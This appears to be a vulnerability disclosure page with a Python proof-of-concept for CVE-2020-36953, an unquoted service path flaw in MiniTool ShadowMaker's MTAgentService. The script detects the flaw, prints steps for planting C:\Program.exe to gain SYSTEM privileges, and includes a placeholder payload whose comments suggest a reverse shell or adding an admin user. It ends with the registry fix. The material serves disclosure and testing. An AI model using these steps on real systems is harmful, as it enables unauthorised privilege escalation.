CVE-2020-36953 MiniTool ShadowMaker MTAgentService未引用服务路径权限提升漏洞

# CVE-2020-36953 PoC - MiniTool ShadowMaker Unquoted Service Path # Author: Security Researcher # Description: Exploit unquoted service path in MiniTool ShadowMaker MTAgentService import os import sys import subprocess import shutil def check_vulnerability(): """Check if the target system is vulnerable""" service_name = "MTAgentService" service_path = r"C:\Program Files\MiniTool ShadowMaker\AgentService.exe" try: # Check if service exists result = subprocess.run( ["sc", "qc", service_name], capture_output=True, text=True ) if "BINARY_PATH_NAME" in result.stdout: print(f"[+] Service '{service_name}' found") if "Program Files" in result.stdout and '"' not in result.stdout: print("[+] Service is vulnerable - unquoted path detected") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a malicious executable to be placed at unquoted path location""" malicious_path = r"C:\Program.exe" # Create a simple malicious executable (reverse shell or payload) # This is a placeholder - actual attack would use compiled malware payload_code = ''' #include <windows.h> #include <stdio.h> int main() { // Add your payload here (e.g., create admin user, download malware, etc.) MessageBox(NULL, "Privilege Escalation Triggered", "CVE-2020-36953", MB_OK); // Execute original service system("C:\\\\Program Files\\\\MiniTool ShadowMaker\\\\AgentService.exe"); return 0; } ''' print("[*] Note: This PoC demonstrates the vulnerability concept") print(f"[*] Malicious executable should be placed at: {malicious_path}") print("[*] When MTAgentService starts, it will execute C:\\Program.exe first") return malicious_path def exploit(): """Main exploit function""" if not check_vulnerability(): print("[-] Target is not vulnerable or service not found") return False malicious_path = create_malicious_executable() # In a real attack, attacker would need to place malware at C:\Program.exe # This requires write access to C:\ drive (often available to low-privilege users) print("\n[!] Exploitation steps:") print(f"1. Place malicious executable at: {malicious_path}") print("2. Wait for service restart or system reboot") print("3. Malicious code executes with SYSTEM privileges") print("\n[*] For defense: Quote the service path in registry") print(' sc config MTAgentService binpath= "C:\\Program Files\\MiniTool ShadowMaker\\AgentService.exe"') return True if __name__ == "__main__": exploit()